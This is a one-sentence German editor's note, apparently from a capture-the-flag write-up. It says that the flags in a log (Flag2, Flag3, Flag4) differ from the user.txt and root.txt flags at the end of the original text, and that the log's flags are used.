[Anmerkung: Die Flags im Log (Flag2, Flag3, Flag4) und die am Ende des Originaltextes angegebenen `user.txt`/`root.txt` stimmen nicht überein. Die Flags aus dem Log werden hier verwendet.]